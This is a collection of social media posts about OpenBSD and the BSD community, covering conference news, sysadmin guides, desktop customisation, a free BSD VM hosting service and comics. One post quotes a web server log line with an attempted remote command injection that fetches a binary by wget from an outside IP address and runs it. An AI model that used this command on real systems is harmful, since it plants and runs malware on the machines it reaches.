We hit Silver Sponsor of the OpenBSD Foundation even earlier this year! 🥈 Guess we’re getting good at this. Huge thanks to all our users! 🙌🎉
https://www.openbsdfoundation.org/contributors.html
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Patrick Stewart as Jean Luc Picard, eyes closed hands raised in fists, of joy.
Has the text:
So much
Awesome
The #everygeek and #normie guide to care an feeding of your #openbsd systems, aka "You Have Installed OpenBSD. Now For The Daily Tasks." https://nxdomain.no/~peter/openbsd_installed_now_for_the_daily_tasks.html (prettified, tracked: https://bsdly.blogspot.com/2024/09/you-have-installed-openbsd-now-for.html) #OpenBSD #install #syspatch #supported #releases #packages #pkg_add #sysupgrade #release #snapshot #current #sysadmin #keepitrunning #keepitsecure #security #development
Also picked up by OSnews: https://www.osnews.com/story/140659/you-have-installed-openbsd-now-for-the-daily-tasks/
Here’s the write-up about how I use #OpenBSD’s `relayd(8)` to reverse-proxy #geminiprotocol content, and how I added a failover status page in case my home server dumps its core all over the floor:
Gemini reverse-proxying with OpenBSD and `relayd(8)` (part 2)
T-13 days to go until the start of THE European *BSD event of the year 2024! 😈⛳🐡
Also this event couldn't be possible without our great sponsors!
Silver sponsor:
FreeBSD
Tickets 🎟️ are still available at https://tickets.eurobsdcon.org
Féach leat i mBaile Átha Cliath!!
EuroBSDCon 2024 in Dublin, Ireland 🇮🇪
September 19-22, 2024
#RUNBSD #FreeBSD #NetBSD #OpenBSD #EuroBSDCon #EuroBSDCon2024
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FreeBSD Foundation logo
Well, I might just take this device with me through the border on my way to Dublin in less than two weeks.
And laptop I'll take with me will likely be the burner. The screen is shit (a low-res screen with incredibly poor colors) - but at least it'll allow me some SSH stuff should the situation call for it.
Likely being way too paranoid - but better be safe than sorry.
#Travel #GrapheneOS #OpenBSD #EuroBSDcon
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Screenshot with the title "Android version".
It shows that Android version 14 is installed, with the security update from September 5, 2024.
emacs
#unix_surrealism #comic #technomage #openbsd #emacs
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Puffy takes Girl to see what emacs is. She's wearing a safety harness. Penguin is there as well, but he's fairly unmoved.
It's a vast array of starways and Wildebeests, Lispers going up and down and faces of GNU saints appearing around the structure.
A lonely Control keyboard key floats about.
Girl: "So...... this is emacs? What's with all the stairs?"
Puffy:" Huh, what? I don't know. Stop asking questions. I don't want to piss these people off."
You have installed OpenBSD, now for the daily tasks
Since we're on the topic of BSD, what about yet another helpful guide on what to do after first installing OpenBSD? We've covered a few of these already, but more can never hurt, and OpenBSD is a great platform that would suit a lot more of us than you might think.
Despite some persistent rumors, installing OpenBSD is both quick a
https://www.osnews.com/story/140659/you-have-installed-openbsd-now-for-the-daily-tasks/
What does life with #openbsd look like in the longer run? Some insights to be found in
"You Have Installed OpenBSD. Now For The Daily Tasks." https://nxdomain.no/~peter/openbsd_installed_now_for_the_daily_tasks.html (prettified, tracked: https://bsdly.blogspot.com/2024/09/you-have-installed-openbsd-now-for.html) #OpenBSD #install #syspatch #supported #releases #packages #pkg_add #sysupgrade #release #snapshot #current #sysadmin #keepitrunning #keepitsecure #security #development
Make Your Own #CDN With #OpenBSD Base and Just 2 Packages 
https://it-notes.dragas.net/2024/08/29/make-your-own-cdn-openbsd/
You Have Installed OpenBSD. Now For The Daily Tasks. https://nxdomain.no/~peter/openbsd_installed_now_for_the_daily_tasks.html (prettified, tracked: https://bsdly.blogspot.com/2024/09/you-have-installed-openbsd-now-for.html) #OpenBSD #install #syspatch #supported #releases #packages #pkg_add #sysupgrade #release #snapshot #current #sysadmin
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#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
This one is for *bsd users, which one of them is better for desktop?
What's their support for new hardware?
@Toasterson @RL_Dane Also #OpenBSD is known for meticulous documentation. Yay to libre OS diversity!
Make your own CDN with OpenBSD base and just 2 packages
The internet today relies TOO MUCH on just a few big players. When one of them stops working, half the world is impacted because too many services, in my opinion, depend on them. “Too big to fail,” some might say. “Single Point of Failure,” I respond."
The strength of the internet has always been its extreme decentralizati
https://www.osnews.com/story/140631/make-your-own-cdn-with-openbsd-base-and-just-2-packages/
Make Your Own CDN With OpenBSD Base and Just 2 Packages
https://it-notes.dragas.net/2024/08/29/make-your-own-cdn-openbsd/
I've scheduled the post about #CDN and #OpenBSD for tonight (also to see if my script based on at and #curl for cache cleanup works well - I've tested it already, but I prefer a real-world test).
I'll announce it on social media in the morning.
I've just finished reviewing the #NetBSD post, which will be published on Monday instead.
NetBSD deserves more attention, and I hope this post will help boost its usage and visibility.
Stay tuned!
Found another interesting blog for those interested in the aggressive configuration of the pf firewall and SSH.
#FreeBSD #OpenBSD #HomeLab #RunBSD
https://blog.thechases.com/posts/bsd/aggressive-pf-config-for-ssh-protection/
The new article (based on #OpenBSD) is ready and will be published in a few days. The next one (based on #NetBSD) is in an advanced stage of writing - all the procedures have already been tested and are working.
However, there’s another one, based on #FreeBSD, which is longer and I believe it will be highly appreciated, but I don't have an ETA yet.
Stay tuned!
There's a large number of #FreeBSD, #OpenBSD, and #illumos users out there.
We don't talk much because it "Just Works™"
I was not able to prove this for a very long time, so I used the most powerful weapon available out there: asking!
https://www.reddit.com/r/selfhosted/comments/1f1hr4m/unix_but_notlinux_club/
No unmodified files remain from original import of #OpenBSD
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#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
Why (and how) we're migrating many of our servers from Linux to the BSDs #NetBSD 🚩 #FreeBSD #OpenBSD
https://events.eurobsdcon.org/2024/talk/LNMLZX/
By @stefano
New laptop will arrive next week, went for the framework laptop after all. Now messing about in virtualbox, to see if I can quadroboot #Linux, #FreeBSD, #OpenBSD and #NetBSD on one machine. Plan to do so on the new laptop, with a shared encrypted #zfs filesystem between at least #Linux and #FreeBSD. #NetBSD has zfs support too it seems, not sure about compatibility, and #OpenBSD ? Don't think it has zfs? Might be mistaken. Fun experiment in any case.
Well, that was easier than I expected. I now have #Linux (#Manjaro), #FreeBSD, #NetBSD and #OpenBSD on one virtual machine. The only challenge was that NetBSD and OpenBSD use the same file name for the EFI bootloader, but that's easily worked around. And some kerfuffle with disk ids/names in FreeBSD and NetBSD that was also easy to fix. Pretty cool! Looking forward to trying this on real hardware. Fingers crossed all the OS-es support the framework laptop :)
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Screenshot from the rEFInd boot manager showing icons for #Manjaro #Linux, #OpenBSD, #NetBSD and #FreeBSD.
I've just added a "Under the Hood" section to my blog, with some tech details - this will also be updated with the coming articles about the self made CDN
No unmodified files remain from original import of OpenBSD https://www.undeadly.org/cgi?action=article;sid=20240824114631 #openbsd #history #allfilesmodified #development #games #greek #galley
A bunch of us were running around the last few days coming up with (semi) legitimate reasons to commit to obscure files in #OpenBSD base.
Today Theo finished this little side project: "We have reached OpenBSD of Theseus."
This morning, right after bringing online the new reverse proxy for BSD Cafe's media, based on OpenBSD, I encountered some strange errors. PowerDNS frequently flagged it as down, which was quite frustrating. So, I disabled it while I figured things out.
Shortly after, the entire VPS became unreachable, and the provider informed me of an issue with the physical node, causing connectivity instability.
Turns out, PowerDNS was right. So, I can say: "It was the DNS." But in a positive sense. 😆
I've just finished drafting the article on the custom and "home-made" CDN created for BSD Cafe's media and my blog - should be out by Monday.
I also set up another VPS and performed the same setup using OpenBSD, replacing nginx with relayd (but keeping Varnish).
It was even easier... I might write a dedicated post on the OpenBSD setup soon.
Every once in a while I experiment with desktop pictures, patterns, and animations on my #OpenBSD workstation. Neither my `.xsession` nor my #MLVWM configs currently set anything, so when I give up I tend to be lazy and just do an `xsetroot -gray` (think Macintosh System 6 default B&W "gray" pattern) or an `xsetroot -solid gray` (think Mac OS 7/8/9 solid gray background color, not pattern), but it always feels off until I log out or reboot and get back to the OpenBSD default. 1/2
@daneharrigan Good request! Here are screenshots of the aforementioned options I usually try, including the #OpenBSD #xenodm default #X11 root pattern I generally stick with.
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An X11 desktop running the MLVWM window manager, xmag, and a zutty terminal demonstrating setting the root window pattern using `xsetroot -default`.
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An X11 desktop running the MLVWM window manager, xmag, and a zutty terminal demonstrating setting the root window pattern using `xsetroot -gray` resulting in a black & white stippled pattern that appears gray.
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An X11 desktop running the MLVWM window manager, xmag, and a zutty terminal demonstrating setting the root window pattern using `xsetroot -solid gray`, resulting in a solid gray background (not monochrome stippled).
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An X11 desktop running the MLVWM window manager, xmag, and a zutty terminal demonstrating setting the root window pattern using OpenBSD's xenodm default `xsetroot -fg \#6f6f6f -bg \#bfbfbf -bitmap /usr/X11R6/include/X11/bitmaps/root_weave`.
@daneharrigan As demonstrated, the difference between `xsetroot -default` and #OpenBSD xenodm's default `xsetroot -fg \#6f6f6f -bg \#bfbfbf -bitmap /usr/X11R6/include/X11/bitmaps/root_weave` is that the latter applied the same pattern using a dark gray and a light gray instead of black and white. I just find it easier on my eyes.
@daneharrigan That said, now that I've thought to try #OpenBSD #xenodm's default light & dark grey colors with the 'gray' pattern, I really like the effect:
`xsetroot -fg \#6f6f6f -bg \#bfbfbf -bitmap /usr/X11R6/include/X11/bitmaps/gray`
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An X11 desktop running the MLVWM window manager, xmag, and a zutty terminal demonstrating the use of `xsetroot -fg \#6f6f6f -bg \#bfbfbf -bitmap /usr/X11R6/include/X11/bitmaps/gray` to set the root window background to a 'gray' pattern using OpenBSD xenodm's default light & dark gray colors instead of black and white (which only simulates gray).
Looking at the httpd log file of my blog, on an OpenBSD VM:
it-notes.dragas.net 127.0.0.1 - - [20/Aug/2024:19:01:24 +0200] "GET /shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\/154.216.18.196:88/j;chmod+777+j;./j HTTP/1.1" 404 0 "" "KrebsOnSecurity" 185.224.128.83 -
It'll surely be working...
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#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
Make your own VPN - Wireguard, IPv6 and ad-blocking included
https://it-notes.dragas.net/2023/04/03/make-your-own-vpn-wireguard-ipv6-and-ad-blocking-included/
#ITNotes #OpenBSD #SysAdmin #adblock #NoteHUB #SysAdmin #VPN #Wireguard #IPv6
Moribundo Insurgenterobert@ has committed version 127.0.6533.119 of ungoogled-chromiun and chromium for #OpenBSD, #FreeBSD (and thus #HardenedBSD), fixing six vulnerabilities, one rated critical and five rated high.
#gameoftrees discussion between @stsp and tb@. I now understand why there's ``game'' in the name.
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Yesterday I used nat64.net and everything was already working, but I wanted to do it all locally. So, I tried setting up a VLAN with only IPv6, using NAT64 and DNS64. I installed an OpenBSD VM on bhyve, mapped the ethernet ports, and configured unbound, pf, and rad in just three minutes - everything works. Without using any external packages.
The simplicity and completeness of OpenBSD and its base system is always a source of joy.
#OpenBSD #IPv6 #NAT64 #DNS64 #Networking #VLAN #SysAdmin #RunBSD #BSD
The BSDCan 2024 Playlist is now complete https://www.undeadly.org/cgi?action=article;sid=20240814053159 #bsdcan #openbsd #freebsd #netbsd #conference
Now that it appears my move to BSD.cafe is complete, I believe it’s time for a #introduction.
First, I want to say how great it is to be part of the BSD.cafe community. I’m thrilled that this instance exists and is thriving.
I’m Blake, a Systems Administrator with a knack for #networks and #DevOps. Currently, I work in the insurance sector, focusing on #technology solutions for agricultural businesses. I have extensive experience with #Linux, #AWS, #Azure, and a variety of network solutions, from Fortigate (#FortiOS) to Netgate (#pfSense). I consider myself a big-picture solver, dedicated to enhancing infrastructure efficiency and security.
I’ve been using Linux daily since the late 2000s, when our family’s Windows XP machine gave out and I got my hands on Ubuntu 8.04 LTS. Since then, I’ve experimented with everything from Arch Linux to Void Linux. Recently, I’ve started exploring #FreeBSD and #OpenBSD, and I’m truly enjoying the fresh experience they offer.
When I’m not immersed in technology, you’ll find me participating in ultra-endurance #cycling events or tinkering with my #homelab. I’m committed to continuous learning and love sharing insights on cutting-edge network and server technologies. I also enjoy exploring how technology intersects with everyday life.
One of these days, I plan to create a proper blog site to share my thoughts and experiences.
I look forward to connecting with fellow tech enthusiasts and homelabbers!
Well well well... Seems like this is becoming something of a geek challenge these days...
OpenBSD 7.5 (amd64) via qemu on Hetzner physical machine (no phys. access / KVM console) - CodiMD
https://hackmd.gfuzz.de/s/Qsk14kc3i#
Just released: #Xmoji 0.6
That's the "I can't believe how hard it was to get this to work on #OpenBSD"-release 😅
https://github.com/Zirias/xmoji/releases/tag/v0.6
If you want to use it on OpenBSD, pass BUNDLED_FREETYPE=on to make.
It drops requiring POSIX interval timers (OpenBSD does not offer them), fixes a few things about font selection and finally depends on an actually released poser, so you can build/use it with a system-installed poser (BUNDLED_POSER=off).
A mí el proyecto @freedo (linux-libre) no me gusta un pelo. Quitan por quitar sin criterios técnicos.
A brocha gorda: el kernel linux es 100% software libre menos las partes (en su mayoría) que requieren cargar / subir un firmware a un dispositivo, al kernel o controlador. Los famosos #blobs.
#OpenBSD tiene una política más racional en este aspecto. El firmware que se conoce que se limita a cargarse en una ROM de un dispositivo no plantea mayor problema ético y de seguridad.
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#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
Can I have feedback from users of the above in an enterprise situation. At this point I'm leaning to #PowerDNS because some of the #OpenBSD devs are involved. Change my mind.
Please boost for more coverage. Thanks
Ping @dexter
Ok, I have a #portability issue to fix in #Xmoji. As reported by @0x1eef, it does not build on #OpenBSD. Seems OpenBSD doesn't provide the "#POSIX interval timers":
https://github.com/Zirias/xmoji/issues/4
I guess that's possible to fix by writing code to multiplex the single timer offered by setitimer(). Of course, that's exactly what I wanted to avoid by using the POSIX interval timers. 😞
Is there any good alternative for OpenBSD? What are other projects doing? 🤔 @thomasadam, does #fvwm need timers and, if so, how is it solved there?
OpenBSD -current moves to 7.6-beta https://www.undeadly.org/cgi?action=article;sid=20240808092612 #openbsd #current #76beta #opebsd76
Ladies and Gentlemen, it is my pleasure to announce the HP Proliant is now updated and both #OpenBSD and #Slackware VMs are updated as well.
#OpenBSD is darn secure, Puffy rips them attackers out. Still, adversaries keep on trying - even though it is widely known that Puffster is a lean, mean fighting machine.
(H/T @labellaragassa)
Unfortunately, the source of this quote is their FB account - and I refuse to link to anything Meta. However, here is an archived copy.
Also, John Carmack has made some contributions to #OpenBSD. I think that this is a very representative example: "Code changes for clarity".
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@curtosis Great question!
Primarily because I have been using #OpenBSD on servers and -- more recently -- my workstations, but hadn't yet tried to do any advanced routing with it. I've managed all sorts of routers/firewalls over the years (everything from Apple AirPorts, Mac OS X Server (`ipfw` and later `pf`), Cisco PIX & IOS-based equipment, and plenty of consumer & business routers provided by ISPs), but I felt I needed something to get me super comfortable with `pf`.
FRESH #OPENBSD NEWS IN PORTLAND! (Oregon)
@AFresh1 will be presenting at #FOSSY24 in exactly six hours!
https://2024.fossy.us/schedule/presentation/217/
They have $35 options to only see limited content.
See you there!
Announcing BSD Jumpstart
Discussions: https://discu.eu/q/https://www.bsdjumpstart.org
#BSD Jumpstart - A comprehensive Guide to #NetBSD 
, #FreeBSD 
, #OpenBSD , and #DragonFlyBSD
Hey does anyone have a rule of thumb for power/resource consumption ofaging laptops running at the minimum clock frequency and memory, running openbsd, versus an openbsd raspberry pi with a supported wifi usb dongle? #mastoquestions #openbsd #degrowth
Are you interested in attending EuroBSDCon in Dublin this September? Here's a poll for you: https://www.linkedin.com/posts/philipp-buehler-940ba7143_were-entering-phase-of-planning-with-real-activity-7224373989425491970-hh8V/ #eurobsdcon #bsd #conference #openbsd #freebsd #netbsd
When people ask me how I can provide such a service, they mostly inly think about the hardware and the costs. Trust me, that’s the least of the problems! Running such a service is more about avoiding and handling service abuses. Free services tend to be abused by people and this is the most difficult part - protection!
But let’s have a short look at the things…
Passion (why?):
The passion and idea behind this project is probably the most interesting part. I can clearly remember the time back in the days when I started in tech and had even then an outdated, slow and rarely working system. It was pure pain to work with it, but luckily it did somehow its job. However, doing more difficult thinks were mostly impossible: Higher loads led into shutdowns - I had to undervolt the system, write kernel modules for undervolting support (which were really appreciated in the community) but also all other resources didn’t gave me the possibility to run more exiting things. Renting a „cheap“ server (back in that day virtual server were not really known and the first implementations based on chroots like OpenVZ were coming years later) was impossible to me. So, learning in real-life scenarios was mostly impossible to me and made everything more difficult. I really know and remember these times where I had to deal somehow with limitations. This is good but also bad. The good thing is, you become really creative into finding solutions and get really nit picky about improving things. The other thing is, it makes your life really hard. With BoxyBSD I want to provide passionated and interested people the opportunity to get at least a system where they can learn and educate. They get a fully usable VM where they can configure, run and use the system how they like (unless they’re not violating the ToS). They have a public IPv6 address (and even a whole additional /64 network) to also learn and practice more complex network solutions. They can run servers, learn how things for their future. Often they quickly find out why a PTR is needed for sending mails (sure, you can also define your reverse DNS at BoxyBSD) but also why firewalling ICMP6 isn’t a great idea (at least you want to have RA & ND active). Things you mostly learn the hard wary in real life setups. But BoxyBSD is also about more - it’s also about supporting the #opensource community. BoxyBSD also sponsors opensource projects like #Freeway, #Telescope & #GameOfTrees. And everything at zero costs!
Resources (how?):
Resources are probably the thing that mostly pops up in the mind of people when hearing about this service and yes - it of course requires a lot of resources since I’m providing full VMs for each user without any over provisioning in memory or disk which are too volatile in this project. But the resources are often already present. In this case, I already have my own labs based on #Proxmox and #bhyve which are built in a fully productional way. This gives me the possibility to provide resource left overs to this project. Also, there are sponsors like Moritz from @nerdscavehosting@mastodon.social who sponsors nodes which are dedicated used to this project. Next to this, the question is about another resource - time! The whole infrastructure if fully automated by simply choosing the desired OS and pressing „create VM“ everything else in handled fully automatically. A desired node is obtained by my side project (ProxLB - in a customised version to also support bhyve hosts), the VM created and a the IP address returned. That’s it - easy!
Protection (the real issue):
The real issue is about people that’s going to abuse the service. This was something I had to learn the hard way. In the first iteration it was simply fully #FreeBSD #Jails based with a very simple interface where you just inserted your SSH pub key and immediately got returned an address of a Jail (if you’re interested, that was the first version: https://www.youtube.com/watch?v=geOS4LTCwok). This was a way too easy and people immediately used it for sending spam mails. I had to take some actions but also didn’t want to block whole ports to make services unusable. Therefore, I had some other ideas which worked out very well, like forcing to use a relay with rate limiting. Today, BoxyBSD grew up, is running ob full fledged VMs providing users and developers the possibility to modify kernel and to have more deep possibilities to learn and test. By only providing images for #FreeBSD, #OpenBSD and #NetBSD (and #illumos / #OpenSolaris) the community and targeted people is smaller than usual. Also software that is written by Scriptkiddies often does not work out of the box on BSD based systems and needs (honestly only small) adjustments. But that’s also often already a reason not to abuse such services. It still may occur that someone is unintentionally doing bad things, generating a lot of traffic (like two weeks ago where someone made 2Gbps traffic for over 12 hours) but usually, this isn’t any problem. Proactive monitoring already notifies me (that’s the only thing where I need to step in) and validate to take actions if someone might be harmed or services affected.
In the end, I like to see that the community is more like a family where things are being used like their own ones. People even come in touch with me and letting me know that they don’t need the VM anymore and to free up the resources for other ones - that’s something I really love to see! Sometimes they come simply back when they need something again and get their new VM. I really love the BSD community and especially the #BSDCafe (https://bsd.cafe) and #BSDNetwork (https://bsd.network). Things can be simple!
PS: At the #FrOSCon you can grab some #BoxyBSD stickers. Just poke me when you see me :)
Ressources:
Call Recording: https://www.youtube.com/watch?v=XEHL4skVq3U&t
BoxyBSD Jail: https://www.youtube.com/watch?v=geOS4LTCwok
Papers: https://cdn.gyptazy.ch/tech-talks/BoxyBSD-A_free_VM_hosting_service_for_education_and_research/BoxyBSD-A_free_VM_hosting_service_for_education_and_research.html
Website: https://boxybsd.com
https://www.tumfatig.net/2024/openbsd-workstation-for-the-people/
Yesterday, while forced horizontal by back pain, I realized that the custom xrandr(1) modes I had learned to add under #OpenBSD so my 2015 13in MacBook Air workstation would output 3840x1080 @ 50Hz to my OREI UHD-14VW HDMI video wall controller to drive my dual 1080p displays could be used to add my 12.9" iPad Pro resolution for VNC. I ended up updating my `dock_vnc` script to switch to a custom 1368x1024 @ 30Hz mode which is half the iPad 'retina' resolution. Works and looks great with #MLVWM!
I have still been in a lot of pain and mostly horizontal today, aside from one meeting, and so working from my iPad. Though not as performant via SSH & VNC, it's nice to still be using my #OpenBSD environment. I know that TigerVNC is a faster VNC server, but I still use x11vnc because it gracefully handles the xenodm login window and logging in/out of user accounts.
@BrideOfLinux
#OpenBSD, #NetBSD and #FreeBSD all work
on #Wayland support. You can run wayland
compositors on all of them already.
I guess that once Wayland becomes more
popular, those communities start engaging
more and will contribute to make upstream
more portable.
There is very little sense in maintaining
parallel universe.
There's probably an existing/better tool out there for this, but I hadn't found one. I was tired of typing `doas sysctl kern.{audi,vide}o.record=1` to enable audio & video recording on my #OpenBSD workstation before joining web conferences & podcast records. So, I now present `recordctl`:
https://github.com/morgant/recordctl
A simple `doas recordctl` will toggle the both audio & video recording in the kernel or you can explicitly set the state of one, e.g. `doas recordctl -a 1`.
Latest 𝗩𝗮𝗹𝘂𝗮𝗯𝗹𝗲 𝗡𝗲𝘄𝘀 - 𝟮𝟬𝟮𝟰/𝟬𝟳/𝟮𝟵 (Valuable News - 2024/07/29) available.
https://vermaden.wordpress.com/2024/07/29/valuable-news-2024-07-29/
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#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
Hardware-Accelerated Video Decoding Arrives in #OpenBSD with VA-API
Possible future vmm(4)/vmd(8) on arm64 https://www.undeadly.org/cgi?action=article;sid=20240729122704 #openbsd #vmm #vmd #virtualization #arm64 #macmini
Full-featured email server running #OpenBSD
https://dataswamp.org/~solene/2024-07-24-openbsd-email-server-setup.html
Full-featured email server running OpenBSD
This blog post is a guide explaining how to setup a full-featured email server on OpenBSD 7.5. It was commissioned by a customer of my consultancy who wanted it to be published on my blog.
Setting up a modern email stack that does not appear as a spam platform to the world can be a daunting task, the guide will cover what you need for a secure, fun
https://www.osnews.com/story/140339/full-featured-email-server-running-openbsd/
#OpenBSD enthusiast cooks up guide for the technically timid
https://www.theregister.com/2024/07/25/openbsd_for_the_people/
Just booked my round-trip flights for EuroBSDCon in Dublin! With this step completed, I’d say everything is set, and I’m looking forward to attending this amazing event for the first time.
Taking this opportunity for #ThankYouTuesday to express my gratitude to the organizers ( @EuroBSDCon ) for their kindness and availability throughout the process.
I truly appreciate it!
#EuroBSDCon #Dublin #RunBSD #FreeBSD #NetBSD #OpenBSD #DragonFlyBSD #EuroBSDCon2024
Una entrada de un blog que me acabo de cruzar con algunas indicaciones para gente que se quiera iniciar en #openBSD como entorno de escritorio. Porque no todo el #softwareLibre es #Linux https://www.tumfatig.net/2024/openbsd-workstation-for-the-people/
#OpenBSD Workstation for the People
https://www.tumfatig.net/2024/openbsd-workstation-for-the-people/
#openbsd not installing on your #virtualbox 7.0 machine?
Enable EFI
The boot UI will be horrible, but the machine won't randomly crash during the install.
Email received a few days ago: "We need to know which version of SSH is installed on the server, as we want to ensure it is not vulnerable to external attacks." My response: "Don’t worry, SSH is accessible ONLY via VPN, and I am the only one with access to that VPN—activated only when needed—so there is no way for there to be any issues, regardless of the version used."
Email received this morning: "We’re not interested; you must provide the SSH version installed and, if it's not the latest, ensure us of the update date."
My response: "Sorry, could you explain the rationale? SSH is not exposed, it’s not listening on any public IP."
Their reply: "Provide the version."
My response: "OpenSSH_9.7, LibreSSL 3.9.0, on OpenBSD."
Their reply: "This is not considered secure. It must be OpenSSH_9.2p1 Debian-2+deb12u3."
My response: "It’s not Debian; it’s OpenBSD."
Their reply: "So the systems are insecure."
And they claim to be a cybersecurity company...
#CyberSecurity #SSH #VPN #ITSecurity #SysAdmin #TechSupport #OpenBSD #Debian
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https://vermaden.wordpress.com/2024/07/22/valuable-news-2024-07-22/
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#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday
Only 60 days till THE European *BSD event of the year 2024! 😈⛳🐡
Grab your 🎟️ at https://tickets.eurobsdcon.org
You can find the full 📅 schedule at
https://events.eurobsdcon.org/2024/schedule/
Féach leat i mBaile Átha Cliath!!
EuroBSDCon 2024 in Dublin, Ireland 🇮🇪
September 19-22, 2024
#RUNBSD #FreeBSD #NetBSD #OpenBSD #EuroBSDCon #EuroBSDCon2024
Alt...
Gene Wilder as Willy Wonka in the 1971 musical Chocolate Factory meme.
It has the text:
So
Tell me about this Dublin trip.
scavenging run
#technomage #unix_surrealism #comic #openbsd #puffy #penguin #linux #fediart #mastoart #art #runbsd #purple
Alt...
Girl, Fish and Penguin walk home. Girl is carrying a paper bag filled with old motherboards, wires and pci cards.
Girl asks: "Do you ever wonder how much of this old tech was backdoored?"
Fish: "It all is."
Penguin: "what."